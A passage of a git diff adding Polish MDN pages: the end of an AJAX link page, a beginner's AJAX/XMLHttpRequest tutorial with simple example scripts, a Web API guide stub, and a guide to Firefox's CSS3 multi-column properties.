zakładek.</small></dd> </dl> <dl> <dt><a class="external" href="http://alexbosworth.backpackit.com/pub/67688">Ajax Mistakes</a></dt> <dd><small>Alex Bosworth pisze o błędach popełnianych przez programistów tworzących aplikacje w AJAX-ie. </small></dd> </dl> <p><span><a href="/Special:Tags?tag=AJAX&amp;language=pl" title="Special:Tags?tag=AJAX&amp;language=pl">Pokaż wszystkie...</a></span></p> </td> <td> <h4 id="Spo.C5.82eczno.C5.9B.C4.87">Społeczność</h4> <ul> <li>Obejrzyj fora Mozilli...</li> </ul> <p>{{ DiscussionList("dev-ajax", "mozilla.dev.ajax") }}</p> <h4 id="Narz.C4.99dzia">Narzędzia</h4> <ul> <li><strong><a class="external" href="http://www.ajaxlines.com">Tutorials, Resources and Toolkits</a></strong></li> <li><a class="external" href="http://www.ajaxprojects.com">Toolkits and frameworks</a></li> <li><a class="external" href="http://blog.monstuff.com/archives/000252.html">AJAX Debugging Tool</a></li> <li><a class="external" href="http://www.osflash.org/doku.php?id=flashjs">Flash/AJAX Integration Kit</a></li> <li><a class="external" href="http://xkr.us/code/javascript/XHConn/">A Simple XMLHTTP Interface Library</a></li> </ul> <p><span><a href="/Special:Tags?tag=AJAX:Narzędzia&amp;language=pl" title="Special:Tags?tag=AJAX:Narzędzia&amp;language=pl">Pokaż wszystkie...</a></span></p> <h4 id="Przyk.C5.82ady">Przykłady</h4> <ul> <li><a class="external" href="http://www.ajaxlines.com/ajax/stuff/article/ajax_poller_script.php">AJAX poller script</a></li> <li><a class="external" href="http://www.ajaxprojects.com/ajax/tutorialdetails.php?itemid=9">Ajax Chat Tutorial</a></li> <li><a class="external" href="http://www.ajaxlines.com/ajax/stuff/article/ajax_toybox.php">Ajax Toybox</a></li> <li><a class="external" href="http://www.ajaxprojects.com/ajax/tutorialdetails.php?itemid=13">RSS Ticker with AJAX</a></li> <li><a class="external" href="http://www.ajaxlines.com/ajax/stuff/article/ajax_login_system_using_xmlhttprequest.php">AJAX Login System using XMLHttpRequest</a></li> <li><a class="external" href="http://www.thinkvitamin.com/features/ajax/create-your-own-ajax-effects">Create your own Ajax effects</a></li> <li><a class="external" href="http://codinginparadise.org/weblog/2005/08/ajax-creating-huge-bookmarklets.html">AJAX: Creating Huge Bookmarklets</a></li> <li><strong><a class="external" href="http://www.ajaxprojects.com/ajax/projects/Cool_AJAX_sites">Cool Ajax Sites</a></strong></li> </ul> <h4 id="Powi.C4.85zane_tematy">Powiązane tematy</h4> <dl> <dd><a href="/pl/HTML" title="pl/HTML">HTML</a>, <a href="/pl/XHTML" title="pl/XHTML">XHTML</a>, <a href="/pl/CSS" title="pl/CSS">CSS</a>, <a href="/pl/DOM" title="pl/DOM">DOM</a>, <a href="/pl/JavaScript" title="pl/JavaScript">JavaScript</a>, <a href="/pl/XML" title="pl/XML">XML</a>, <a href="/pl/XMLHttpRequest" title="pl/XMLHttpRequest">XMLHttpRequest</a>, <a href="/pl/XSLT" title="pl/XSLT">XSLT</a>, <a href="/pl/DHTML" title="pl/DHTML">DHTML</a></dd> </dl> <h4 id="Wybrane_tematy">Wybrane tematy</h4> <ul> <li><a href="/pl/AJAX/Na_początek" title="pl/AJAX/Na_początek">Pierwsze kroki z AJAX-em</a></li> </ul> </td> </tr> </tbody>
+</table>
+<p><span>Categories</span></p>
+<p><span>Interwiki Language Links</span></p>
+<p> </p>
+<p> </p>
+
+<p>{{ languages( { "ca": "ca/AJAX", "cs": "cs/AJAX", "en": "en/AJAX", "es": "es/AJAX", "fr": "fr/AJAX", "it": "it/AJAX", "ja": "ja/AJAX", "ko": "ko/AJAX", "nl": "nl/AJAX", "pt": "pt/AJAX", "ru": "ru/AJAX", "zh-cn": "cn/AJAX", "zh-tw": "zh_tw/AJAX" } ) }}</p>
diff --git a/files/pl/web/guide/ajax/na_początek/index.html b/files/pl/web/guide/ajax/na_początek/index.html
new file mode 100644
index 0000000000..1e4a4ec491
--- /dev/null
+++ b/files/pl/web/guide/ajax/na_początek/index.html
@@ -0,0 +1,221 @@
+---
+title: Na początek
+slug: Web/Guide/AJAX/Na_początek
+tags:
+ - AJAX
+ - Wszystkie_kategorie
+translation_of: Web/Guide/AJAX/Getting_Started
+---
+<p>
+</p><p>Ten artykuł pozwoli Ci poznać podstawy technologii AJAX oraz poda dwa proste, gotowe do użycia przykłady.
+</p>
+<h3 id="Czym_jest_AJAX.3F" name="Czym_jest_AJAX.3F"> Czym jest AJAX? </h3>
+<p>AJAX (<i>Asynchronous JavaScript and XML</i>) jest niedawno ukutą nazwą na dwie potężne cechy przeglądarek WWW, które, choć dostępne od lat, były pomijane przez wielu autorów stron, aż do niedawna, gdy na rynku ukazały się takie aplikacje, jak Gmail, Google Suggest i Google Maps.
+</p><p>Dzięki tym cechom możesz:
+</p>
+<ul><li> wysyłać zapytania do serwera bez przeładowywania strony,
+</li><li> parsować i pracować z dokumentami XML.
+</li></ul>
+<p>Termin AJAX jest akronimem. <strong>A</strong> pochodzi od <em>"asynchroniczny"</em>, co znaczy, że możesz wysyłać zapytania HTTP do serwera i robić inne rzeczy w trakcie oczekiwania na odpowiedź. <strong>JA</strong> pochodzi od <em>"JavaScript"</em>, a <strong>X</strong> pochodzi od <em>"XML"</em>.
+</p>
+<h3 id="Krok_1_.E2.80.93_powiedz_.22Poprosz.C4.99.21.22.2C_czyli_jak_wykona.C4.87_zapytanie_HTTP" name="Krok_1_.E2.80.93_powiedz_.22Poprosz.C4.99.21.22.2C_czyli_jak_wykona.C4.87_zapytanie_HTTP"> Krok 1 – powiedz "Poproszę!", czyli jak wykonać zapytanie HTTP </h3>
+<p>W celu stworzenia zapytania HTTP przy użyciu JavaScriptu, potrzebujesz instancji klasy, która posiada żądaną funkcjonalność. Taka klasa została po raz pierwszy wprowadzona w Internet Explorerze, jako obiekt ActiveX, pod nazwą <code>XMLHTTP</code>. Później Mozilla, Safari i inne przeglądarki również dodały taki obiekt, implementując klasę <code>XMLHttpRequest</code>, która obsługuje metody i właściwości oryginalnego obiektu ActiveX.
+</p><p>W rezultacie, w celu stworzenia międzyprzeglądarkowej instancji (obiektu) potrzebnej nam klasy, należy wpisać:
+</p>
+<pre>if (window.XMLHttpRequest) { // Mozilla, Safari, Opera ...
+ http_request = new XMLHttpRequest();
+} else if (window.ActiveXObject) { // IE
+ http_request = new ActiveXObject("Microsoft.XMLHTTP");
+}
+</pre>
+<p>(Na potrzeby przykładu powyższy fragment jest lekko uproszczoną wersją kodu używanego do stworzenia instancji XMLHTTP. Bardziej "życiowy" przykład można znaleźć w punkcie 3. tego artykułu).
+</p><p>Niektóre wersje przeglądarek opartych na technologii Mozilli nie zadziałają poprawnie, jeżeli odpowiedź z serwera nie będzie opisana XML-owym nagłówkiem <code>mime-type</code>. Aby rozwiązać ten problem, można użyć dodatkowej metody do nadpisania nagłówka wysyłanego przez serwer, jeśli nie jest to <code>text/xml</code>.
+</p>
+<pre>http_request = new XMLHttpRequest();
+http_request.overrideMimeType('text/xml');
+</pre>
+<p>Następnie należy się zdecydować, co chcesz zrobić po otrzymaniu od serwera odpowiedzi na Twoje zapytanie. Na tym etapie wystarczy powiedzieć obiektowi zapytania HTTP, która funkcja JavaScript będzie opracowywała wynik. Można to uzyskać poprzez ustawienie właściwości <code>onreadystatechange</code> obiektu funkcji JavaScript, której będziesz używał, na przykład:
+</p><p><code>http_request.onreadystatechange = nameOfTheFunction;</code>
+</p><p>Zwróć uwagę, że nie ma żadnych nawiasów za nazwą funkcji i nie są przekazywane żadne parametry, ponieważ chcemy przypisać referencję do tej funkcji, a nie wywołać ją. Można także, zamiast podawać nazwę funkcji, użyć techniki JavaScript do definiowania funkcji w locie (zwanej "funkcją anonimową") i określić akcje, które przetworzą wynik natychmiast, jak na przykład:
+</p>
+<pre>http_request.onreadystatechange = function(){
+ // instrukcje
+};
+</pre>
+<p>Następnie, kiedy już zostało zadeklarowane, co będzie się działo zaraz po odebraniu odpowiedzi, należy wykonać zapytanie. W tym celu należy wywołać metody <code>open()</code> i <code>send()</code> klasy zapytania HTTP, tak jak na poniższym przykładzie:
+</p>
+<pre>http_request.open('GET', 'http://www.example.org/some.file', true);
+http_request.send(null);
+</pre>
+<ul><li> Pierwszy parametr metody <code>open()</code> określa metodę zapytania HTTP - GET, POST, HEAD lub dowolną inną metodę, której chcesz użyć i którą obsługuje serwer. Dla zachowania zgodności ze standardem nazwę metody wpisuj dużymi literami. W przeciwnym razie niektóre przeglądarki (np. Firefox) mogą nie przetworzyć zapytania. Aby dowiedzieć się więcej na temat możliwych metod zapytań HTTP, zajrzyj do <a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html">dokumentacji W3C</a>.
+</li></ul>
+<ul><li> Drugi parametr określa URL strony, która ma zostać odpytana. W celu zwiększenia bezpieczeństwa, nie jest możliwe odpytywanie stron znajdujących się w domenach zewnętrznych (tzw. 3rd-party domains). Upewnij się, że wpisujesz dokładną nazwę domeny, na wszystkich swoich stronach, w przeciwnym razie po wywołaniu metody <code>open()</code> dostaniesz odpowiedź z błędem "brak dostępu" (permission denied). Częstym błędem jest otwieranie strony jako domena.tld, ale wywoływanie stron z www.domena.tld.
+</li></ul>
+<ul><li> Trzeci parametr decyduje, czy zapytanie ma być asynchroniczne. Jeżeli tak, wykonywanie funkcji JavaScript będzie kontynuowane podczas oczekiwania na odpowiedź z serwera. I to jest właśnie A w nazwie AJAX.
+</li></ul>
+<p>Parametr metody <code>send()</code> może być dowolną daną, którą chcesz wysłać do serwera w przypadku użycia metody <code>POST</code>. Dane powinny być umieszczone w formie używanej przez ciągi zapytań, czyli:
+</p><p><code>name=value&amp;anothername=othervalue&amp;so=on</code>
+</p><p>Należy pamiętać o zakodowaniu każdej wysyłanej wartości funkcją <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/encodeURIComponent">encodeURIComponent</a></code>. Na przykład jeśli w środku, jakiegoś przesyłanego łańcucha znajdzie się znak &amp; to "obetnie" nasz łańcuch. Opis tej funkcji w dokumentcji zawiera bardziej szczegółowe informacje.
+</p><p>Zwróć uwagę na to, że jeśli chcesz wysłać dane metodą <code>POST</code>, musisz zmienić typ MIME swojego zapytania, używając składni:
+</p>
+<pre>http_request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
+</pre>
+<p>W przeciwnym wypadku, serwer odrzuci dane wysłane metodą POST.
+</p>
+<h3 id="Krok_2_.E2.80.93_.22Voil.C3.A0.21.22.2C_czyli_obs.C5.82uga_odpowiedzi_serwera" name="Krok_2_.E2.80.93_.22Voil.C3.A0.21.22.2C_czyli_obs.C5.82uga_odpowiedzi_serwera"> Krok 2 – "Voilà!", czyli obsługa odpowiedzi serwera </h3>
+<p>Pamiętasz, że w trakcie wysyłania zapytania została podana nazwa funkcji JavaScript, która została przygotowana do obsługi odpowiedzi?
+</p><p><code>http_request.onreadystatechange = nazwaFunkcji;</code>
+</p><p>Zobaczmy, co ta funkcja powinna zrobić. Najpierw musi ona sprawdzić stan zapytania. Jeżeli status ma wartość 4, oznacza to, że udało się pobrać pełną odpowiedź z serwera i można kontynuować jej przetwarzanie.
+</p>
+<pre>if (http_request.readyState == 4) {
+ // wszystko jest OK, odpowiedź została odebrana
+} else {
+ // ciągle nie gotowe
+}
+</pre>
+<p>Możliwe są następujące wartości <code>readyState</code>:
+</p>
+<ul><li> 0 (niezainicjowane)
+</li><li> 1 (w trakcie pobierania)
+</li><li> 2 (pobrano)
+</li><li> 3 (interaktywne)
+</li><li> 4 (gotowe)
+</li></ul>
+<p>(<a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/readystate_1.asp">Źródło</a>)
+</p><p>Następnie należy sprawdzić kod odpowiedzi serwera HTTP. Wszystkie możliwe kody są opisane na <a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html">stronie W3C</a>. W tym przypadku interesuje nas tylko odpowiedź <code>200 OK</code>.
+</p>
+<pre>if (http_request.status == 200) {
+ // świetnie!!
+} else {
+ // wystąpił jakiś problem z zapytaniem,
+ // na przykład odpowiedzią mogło być 404 (Nie odnaleziono)
+ // lub 500 (Wewnętrzny błąd serwera)
+}
+</pre>
+<p>Teraz, kiedy został już sprawdzony stan zapytania i kod statusu odpowiedzi, możesz zrobić co zechcesz z danymi otrzymanymi z serwera. Masz dwie możliwości dostania się do danych:
+</p>
+<ul><li> <code>http_request.responseText</code> – zwróci odpowiedź serwera jako ciąg znakowy
+</li><li> <code>http_request.responseXML</code> – zwróci odpowiedź jako obiekt <code>XMLDocument</code>, z którym można pracować przy użyciu funkcji DOM JavaScriptu.
+</li></ul>
+<h3 id="Krok_3_.E2.80.93_.22Do_dzie.C5.82a.21.22_-_Prosty_przyk.C5.82ad" name="Krok_3_.E2.80.93_.22Do_dzie.C5.82a.21.22_-_Prosty_przyk.C5.82ad"> Krok 3 – "Do dzieła!" - Prosty przykład </h3>
+<p>Stwórzmy teraz proste zapytanie HTTP. JavaScript odpyta serwer o dokument HTML <code>test.html</code>, który zawiera tekst "Jestem testem.", a następnie wyświetlimy ten tekst przy użyciu funkcji <code>alert()</code>.
+</p>
+<pre>&lt;script type="text/javascript" language="javascript"&gt;
+
+ var http_request = false;
+
+ function makeRequest(url) {
+
+ http_request = false;
+
+ if (window.XMLHttpRequest) { // Mozilla, Safari,...
+ http_request = new XMLHttpRequest();
+ if (http_request.overrideMimeType) {
+ http_request.overrideMimeType('text/xml');
+ // Przeczytaj o tym wierszu poniżej
+ }
+ } else if (window.ActiveXObject) { // IE
+ try {
+ http_request = new ActiveXObject("Msxml2.XMLHTTP");
+ } catch (e) {
+ try {
+ http_request = new ActiveXObject("Microsoft.XMLHTTP");
+ } catch (e) {}
+ }
+ }
+
+ if (!http_request) {
+ alert('Poddaję się :( Nie mogę stworzyć instancji obiektu XMLHTTP');
+ return false;
+ }
+ http_request.onreadystatechange = function() { alertContents(http_request); };
+ http_request.open('GET', url, true);
+ http_request.send(null);
+
+ }
+
+ function alertContents(http_request) {
+
+ if (http_request.readyState == 4) {
+ if (http_request.status == 200) {
+ alert(http_request.responseText);
+ } else {
+ alert('Wystąpił problem z zapytaniem.');
+ }
+ }
+
+ }
+&lt;/script&gt;
+&lt;span
+ style="cursor: pointer; text-decoration: underline"
+ onclick="makeRequest('test.html')"&gt;
+ Odpytaj
+&lt;/span&gt;
+</pre>
+<p>W tym przykładzie:
+</p>
+<ul><li> użytkownik klika na odnośnik "Odpytaj" w przeglądarce;
+</li><li> to wywołuje funkcję <code>makeRequest</code> z parametrem - nazwą <code>test.html</code> pliku HTML w tym samym katalogu;
+</li><li> wysyłane jest zapytanie, a następnie (<code>onreadystatechange</code>) wywołanie jest przenoszone do <code>alertContents()</code>;
+</li><li> <code>alertContents()</code> sprawdza uzyskaną odpowiedź i wyświetla treść pliku <code>test.html</code> przy użyciu funkcji <code>alert()</code>.
+</li></ul>
+<p>Możesz przetestować ten przykład <a class="external" href="http://www.w3clubs.com/mozdev/httprequest_test.html">tutaj</a> i zobaczyć testowy plik <a class="external" href="http://www.w3clubs.com/mozdev/test.html">tutaj</a>.
+</p><p><b>Uwaga</b>: Jeżeli strona wywołana przez XMLHttpRequest nie jest poprawionym XML-em (np. kiedy jest plikiem tekstowym), linia <code> http_request.overrideMimeType('text/xml');</code> spowoduje pojawienie się błędów w konsoli JavaScript w Firefoksie 1.5 i późniejszych. Zostało to opisane na stronie: <a class=" link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=311724" rel="freelink">https://bugzilla.mozilla.org/show_bug.cgi?id=311724</a>. Jest to zachowanie właściwe; ten artykuł zostanie niedługo poprawiony, aby dostosować się do tej zmiany.
+</p><p><b>Uwaga 2</b>: jeżeli wysyłasz zapytanie do skryptu, który ma zwrócić XML, zamiast do statycznego pliku XML, musisz ustawić nagłówki odpowiedzi, jeśli chcesz, aby zadziałało to także w Internet Explorerze. Jeżeli nie ustawisz nagłówka <code>Content-Type: application/xml</code>, IE zwróci błąd JavaScript "Object Expected" po wierszu, w którym próbujesz dostać się do XML-owego elementu. Jeżeli nie ustawisz nagłówka <code>Cache-Control: no-cache</code>, przeglądarka doda odpowiedź do pamięci podręcznej i nigdy nie wyśle żądania ponownie, sprawiając, że praca nad skryptem może być "kłopotliwa".
+</p><p><b>Uwaga 3</b>: jeżeli zmienna <code>http_request</code> jest używana globalnie, konkurujące funkcje wywołujące <code>makeRequest()</code> mogą nadpisywać siebie nawzajem, tworząc problemy. Określenie zmiennej <code>http_request</code> lokalnie dla funkcji i przekazywanie jej do funkcji <code>alertContent()</code> pozwala uniknąć takiej sytuacji.
+</p><p><b>Uwaga 4</b>: Aby zarejestrować funkcję zwrotną (callback function) <code>onreadystatechange</code>, nie możesz użyć argumentów. Dlatego też poniższy kod nie zadziała:
+</p>
+<pre>http_request.onreadystatechange = alertContents(http_request); // (nie działa)
+</pre>
+<p>Z tego względu, aby zarejestrować tę funkcję pomyślnie, należy albo przekazać argumenty pośrednio poprzez funkcję anonimową, albo użyć <code>http_request</code> jako zmiennej globalnej. Oto przykłady:
+</p>
+<pre>http_request.onreadystatechange = function() { alertContents(http_request); }; //1 (simultaneous request)
+http_request.onreadystatechange = alertContents; //2 (global variable)
+</pre>
+<p>Metoda pierwsza pozwala mieć wiele zapytań przetwarzanych jednocześnie, a metoda trzecia może być używana jeśli <code>http_request</code> jest zmienną globalną.
+</p><p><b>Uwaga 5</b>: W przypadku błędu połączenia (na przykład kiedy serwer WWW został wyłączony), zostanie wyrzucony wyjątek w metodzie onreadystatechange podczas próby odczytania zmiennej .status. Z tego względu dobrze jest opakować wyrażenie if...then w try...catch. (Zobacz: <a class=" link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=238559" rel="freelink">https://bugzilla.mozilla.org/show_bug.cgi?id=238559</a>).
+</p>
+<pre>function alertContents(http_request) {
+
+ try {
+ if (http_request.readyState == 4) {
+ if (http_request.status == 200) {
+ alert(http_request.responseText);
+ } else {
+ alert('Wystąpił problem z tym żądaniem.');
+ }
+ }
+ }
+ catch( e ) {
+ alert('Złapany wyjątek: ' + e.description);
+ }
+
+ }
+</pre>
+<h3 id="Krok_4_.E2.80.93_.22Z_archiwum_X.22_czyli_praca_z_odpowiedzi.C4.85_XML" name="Krok_4_.E2.80.93_.22Z_archiwum_X.22_czyli_praca_z_odpowiedzi.C4.85_XML"> Krok 4 – "Z archiwum X" czyli praca z odpowiedzią XML </h3>
+<p>W poprzednim przykładzie, po otrzymaniu odpowiedzi z serwera, użyliśmy właściwości <code>responseText</code> obiektu zapytania i zawierała ona treść pliku &lt;tt&gt;test.html&lt;/tt&gt;. Teraz spróbujmy użyć właściwości <code>responseXML</code>.
+</p><p>Przede wszystkim stwórzmy prawidłowy dokument XML, o który odpytamy potem serwer. Taki dokument (&lt;tt&gt;test.xml&lt;/tt&gt;) może wyglądać tak:
+</p>
+<pre>&lt;?xml version="1.0" ?&gt;
+&lt;root&gt;
+ Jestem testem.
+&lt;/root&gt;
+</pre>
+<p>W skrypcie musimy tylko zmienić linię zapytania na:
+</p>
+<pre>...
+onclick="makeRequest('test.xml')"&gt;
+...
+</pre>
+<p>Potem w <code>alertContents()</code> musimy zmienić linię <code>alert(http_request.responseText);</code> na:
+</p>
+<pre>var xmldoc = http_request.responseXML;
+var root_node = xmldoc.getElementsByTagName('root').item(0);
+alert(root_node.firstChild.data);
+</pre>
+<p>W ten sposób pobraliśmy obiekt <code>XMLDocument</code>, zwrócony przez <code>responseXML</code> i skorzystaliśmy z metod DOM, aby dostać się do danych zawartych w dokumencie XML. Możesz zajrzeć do dokumentu XML <code>test.xml</code> <a class="external" href="http://www.w3clubs.com/mozdev/test.xml">tutaj</a> oraz do zaktualizowanego skryptu <a class="external" href="http://www.w3clubs.com/mozdev/httprequest_test_xml.html">tutaj</a>.
+</p><p>Aby dowiedzieć się więcej o metodach DOM, zajrzyj do dokumentów <a class="external" href="http://www.mozilla.org/docs/dom/">Mozilla's DOM implementation</a>.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "ca": "ca/AJAX/Primers_passos", "de": "de/AJAX/Getting_Started", "en": "en/AJAX/Getting_Started", "es": "es/AJAX/Primeros_Pasos", "fr": "fr/AJAX/Premiers_pas", "it": "it/AJAX/Iniziare", "ja": "ja/AJAX/Getting_Started", "ko": "ko/AJAX/Getting_Started", "pt": "pt/AJAX/Como_come\u00e7ar", "ru": "ru/AJAX/\u0421_\u0447\u0435\u0433\u043e_\u043d\u0430\u0447\u0430\u0442\u044c", "zh-cn": "cn/AJAX/\u5f00\u59cb", "zh-tw": "zh_tw/AJAX/\u4e0a\u624b\u7bc7" } ) }}
diff --git a/files/pl/web/guide/api/index.html b/files/pl/web/guide/api/index.html
new file mode 100644
index 0000000000..0d56f6ab30
--- /dev/null
+++ b/files/pl/web/guide/api/index.html
@@ -0,0 +1,25 @@
+---
+title: Przewodnik po internetowych interfejsach API
+slug: Web/Guide/API
+tags:
+ - API
+ - Landing
+ - Przewodnik
+ - TopicStub
+ - Web
+translation_of: Web/Guide/API
+---
+<p>Współczesne technologie tworzenia aplikacji internetowych przy użyciu JavaScript wykorzystuje całą gamę interfejsów API, dzięki którym można tworzyć zaawansowane i wydajne aplikacje, uruchamiane w sieci web, lokalnie albo na serwerach za pośrednictwem takich technologii jak <a href="https://nodejs.org/">Node.js</a>. Na tej stronie można znaleźć kompletną listę wszystkich interfejsów API dostarczanych przez cały stos współczesnych technologii internetowej.</p>
+
+<h2 id="Interfejsy_API_od_A_do_Z">Interfejsy API od A do Z</h2>
+
+<p>{{ListGroups}}</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li><a href="/pl/docs/Web/API">Informator internetowych interfejsów API</a> (indeks wszystkich interfejsów API przeznaczonych do tworzenia aplikacji internetowych w JavaScript)</li>
+ <li><a href="/pl/docs/Web/API/Document_Object_Model">Obiektowy model dokumentu (Document Object Model - DOM)</a></li>
+ <li><a href="/pl/docs/Web/Events">Informator API zdarzeń</a></li>
+ <li><a href="/pl/docs/Learn">Nauka tworzenia stron i aplikacji internetowych</a></li>
+</ul>
diff --git a/files/pl/web/guide/css/kolumny_css3/index.html b/files/pl/web/guide/css/kolumny_css3/index.html
new file mode 100644
index 0000000000..19d3c4285a
--- /dev/null
+++ b/files/pl/web/guide/css/kolumny_css3/index.html
@@ -0,0 +1,65 @@
+---
+title: Kolumny CSS3
+slug: Web/Guide/CSS/Kolumny_CSS3
+tags:
+ - CSS
+ - CSS_3
+ - Wszystkie_kategorie
+translation_of: Web/CSS/CSS_Columns/Using_multi-column_layouts
+---
+<p>
+</p>
+<h3 id="Wprowadzenie" name="Wprowadzenie"> Wprowadzenie </h3>
+<p>Czytanie tekstu wyświetlanego w długich wierszach jest trudne i męczące dla oczu - jeśli przenoszenie wzroku z końca jednej linii na początek drugiej zajmuje zbyt wiele czasu, łatwo jest zgubić się w tekście i rozpocząć czytanie niewłaściwego wiersza. Z tego powodu i aby w pełni wykorzystać szerokość ekranu, tekst na stronach internetowych - tak samo jak w gazetach - powinien być układany w sąsiadujących kolumnach o stałej szerokości. Niestety osiągnięcie tego efektu nie jest możliwe przy użyciu języków HTML i obecnego CSS bez wymuszania sztywnej wysokości kolumn, znacznego ograniczania dozwolonej składni wewnątrz tekstu bądź też bez stosowania skomplikowanych skryptów.
+</p><p><a class="external" href="http://www.w3.org/TR/2001/WD-css3-multicol-20010118">Szkic specyfikacji CSS3</a> proponuje kilka nowych własności CSS, które rozwiązałyby ten problem. W Firefoksie 1.5 i następnych zaimplementowana została część tych własności i zachowują się one w sposób opisany przez szkic specyfikacji (z jednym wyjątkiem opisanym niżej). </p><p>Aby zobaczyć, jak działają kolumny CSS, odwiedź (korzystając z Firefoksa 1.5) <a class="external" href="http://weblogs.mozillazine.org/roc/">blog Roberta O'Callahana</a>.
+</p>
+<h3 id="Stosowanie_kolumn" name="Stosowanie_kolumn"> Stosowanie kolumn </h3>
+<h4 id="Liczba_i_szeroko.C5.9B.C4.87_kolumn" name="Liczba_i_szeroko.C5.9B.C4.87_kolumn"> Liczba i szerokość kolumn </h4>
+<p>Własności CSS pozwalają okreslić liczbę i szerokość kolumn, w jakich zostanie wyświetlony tekst na stronie: <code>-moz-column-count</code> oraz <code>-moz-column-width</code>.
+</p><p><code>-moz-column-count</code> pozwala ustalić liczbę kolumn. Na przykład:
+</p>
+<pre>&lt;div style="-moz-column-count:2"&gt;Z powodu trwających przygotowań do wydania Mozilli
+Firefox 1.5 Beta 1 drzewo zostanie zamrożone dziś w nocy o 23:59 PDT (UTC -7:00).
+Od tego momentu żadne nowe poprawki nie będą przyjmowane do Firefoksa 1.5 Beta 1,
+którego wydanie zaplanowane jest na czwartek.&lt;/div&gt;
+</pre>
+<p>Powyższy tekst powinien zostać w Firefoksie 1.5 wyświetlony w dwu kolumnach:
+</p>
+<div style="">Z powodu trwających przygotowań do wydania Mozilli Firefox 1.5 Beta 1 drzewo zostanie zamrożone dziś w nocy o 23:59 PDT (UTC -7:00). Od tego momentu żadne nowe poprawki nie będą przyjmowane do Firefoksa 1.5 Beta 1, którego wydanie zaplanowane jest na czwartek.</div>
+<p><code>-moz-column-width</code> pozwala natomiast określić minimalną pożądaną szerokość kolumn. Jeśli przy okazji własność <code>-moz-column-count</code> nie jest ustalona, przeglądarka automatycznie wyświetli tyle kolumn, ile zmieści się w jej oknie. Na przykład tekst:
+</p>
+<pre>&lt;div style="-moz-column-width:20em;"&gt;Z powodu trwających przygotowań do wydania Mozilli
+Firefox 1.5 Beta 1 drzewo zostanie zamrożone dziś w nocy o 23:59 PDT (UTC -7:00).
+Od tego momentu żadne nowe poprawki nie będą przyjmowane do Firefoksa 1.5 Beta 1,
+którego wydanie zaplanowane jest na czwartek.&lt;/div&gt;
+</pre>
+<p>przeglądarka wyświetli następująco:
+</p>
+<div style="-moz-column-width: 20em;">Z powodu trwających przygotowań do wydania Mozilli Firefox 1.5 Beta 1 drzewo zostanie zamrożone dziś w nocy o 23:59 PDT (UTC -7:00). Od tego momentu żadne nowe poprawki nie będą przyjmowane do Firefoksa 1.5 Beta 1, którego wydanie zaplanowane jest na czwartek.</div>
+<p>Szczegóły dotyczące kolumn CSS opisano w <a class="external" href="http://www.w3.org/TR/2001/WD-css3-multicol-20010118">szkicu specyfikacji CSS3</a>.
+</p><p>W przypadku wyświetlania wielokolumnowego, treść automatycznie przepływa do następnych kolumn, jeśli zachodzi taka potrzeba. Cała funkcjonalność HTML, CSS oraz DOM jest zachowana, podobnie jak możliwość edycji i drukowania.
+</p><p><br>
+</p>
+<h4 id="Wyr.C3.B3wywanie_wysoko.C5.9Bci_kolumn" name="Wyr.C3.B3wywanie_wysoko.C5.9Bci_kolumn"> Wyrówywanie wysokości kolumn </h4>
+<p>Szkic specyfikacji CSS3 zakłada, że wysokości kolumn powinny być wyrównywane przez przeglądarkę w taki sposób, by wysokości treści w każdej kolumnie były możliwie najbardziej zbliżone. I to właśnie robi Firefox.
+</p><p>Czasami jednak pojawia się potrzeba jednoznacznego zdefiniowania wysokości kolumn. W takim przypadku treść - w zależności od długości - wyświetlana powinna być w różnej, nieznanej projektantowi liczbie kolumn. Efekt ten zastosowano na stronach <a class="external" href="http://iht.com">International Herald Tribune</a>, gdzie jednak użyto w tym celu odpowiednich skryptów. Firefox rozszerza szkic specyfikacji CSS w taki sposób, że nadanie blokowi kolumn własności <code>height</code> powoduje wydłużanie się kolumn do określonej wysokości, a po osiągnięciu tejże - utworzeniu nowej kolumny. Zachowanie to jest bardzo przydatne przy tworzeniu układów stron WWW.
+</p>
+<h4 id="Odst.C4.99p_mi.C4.99dzy_kolumnami" name="Odst.C4.99p_mi.C4.99dzy_kolumnami"> Odstęp między kolumnami </h4>
+<p>Domyślnie, przeglądarka wyświetla kolumny jedna tuż obok drugiej, przylegające do siebie. Zazwyczaj jednak nie jest to zachowanie pożądane. Aby poprawić tę sytuację, można za pomocą CSS ustawić dla kolumn odpowiednie wartości marginesów wewnętrznych, często jednak o wiele łatwiej zastosować jest własność <code>-moz-column-gap</code> ustawianą dla bloku kolumn:
+</p>
+<pre>&lt;div style="-moz-column-width:20em; -moz-column-gap:2em;"&gt;Z powodu trwających
+przygotowań do wydania Mozilli Firefox 1.5 Beta 1 drzewo zostanie zamrożone dziś
+w nocy o 23:59 PDT (UTC -7:00). Od tego momentu żadne nowe poprawki nie będą
+przyjmowane do Firefoksa 1.5 Beta 1, którego wydanie zaplanowane jest na czwartek.&lt;/div&gt;
+</pre>
+<div style="-moz-column-width: 20em;">Z powodu trwających przygotowań do wydania Mozilli Firefox 1.5 Beta 1 drzewo zostanie zamrożone dziś w nocy o 23:59 PDT (UTC -7:00). Od tego momentu żadne nowe poprawki nie będą przyjmowane do Firefoksa 1.5 Beta 1, którego wydanie zaplanowane jest na czwartek.</div>
+<h4 id="Czytelno.C5.9B.C4.87_w_starszych_przegl.C4.85darkach" name="Czytelno.C5.9B.C4.87_w_starszych_przegl.C4.85darkach"> Czytelność w starszych przeglądarkach </h4>
+<p>Starsze przeglądarki ignorują własności -moz-column, dzięki czemu stosunkowo łatwo jest utworzyć stronę, której treść będzie wyświetlana w pojedynczej kolumnie w starszych przeglądarkach, a w wielu kolumnach w Firefoksie 1.5.
+</p>
+<h3 id="Zako.C5.84czenie" name="Zako.C5.84czenie"> Zakończenie </h3>
+<p>Kolumny w CSS3 to nowe narzędzie, które pomoże projektantom stron internetowych w najlepszy możliwy sposób wykorzystywać cenną powierzchnię ekranów uzytkowników. Dzięki takim opcjom jak automatycze wyrównywanie wysokości, kolumny na pewno znajdą wiele zastosowań w tworzeniu stron internetowych.
+</p>
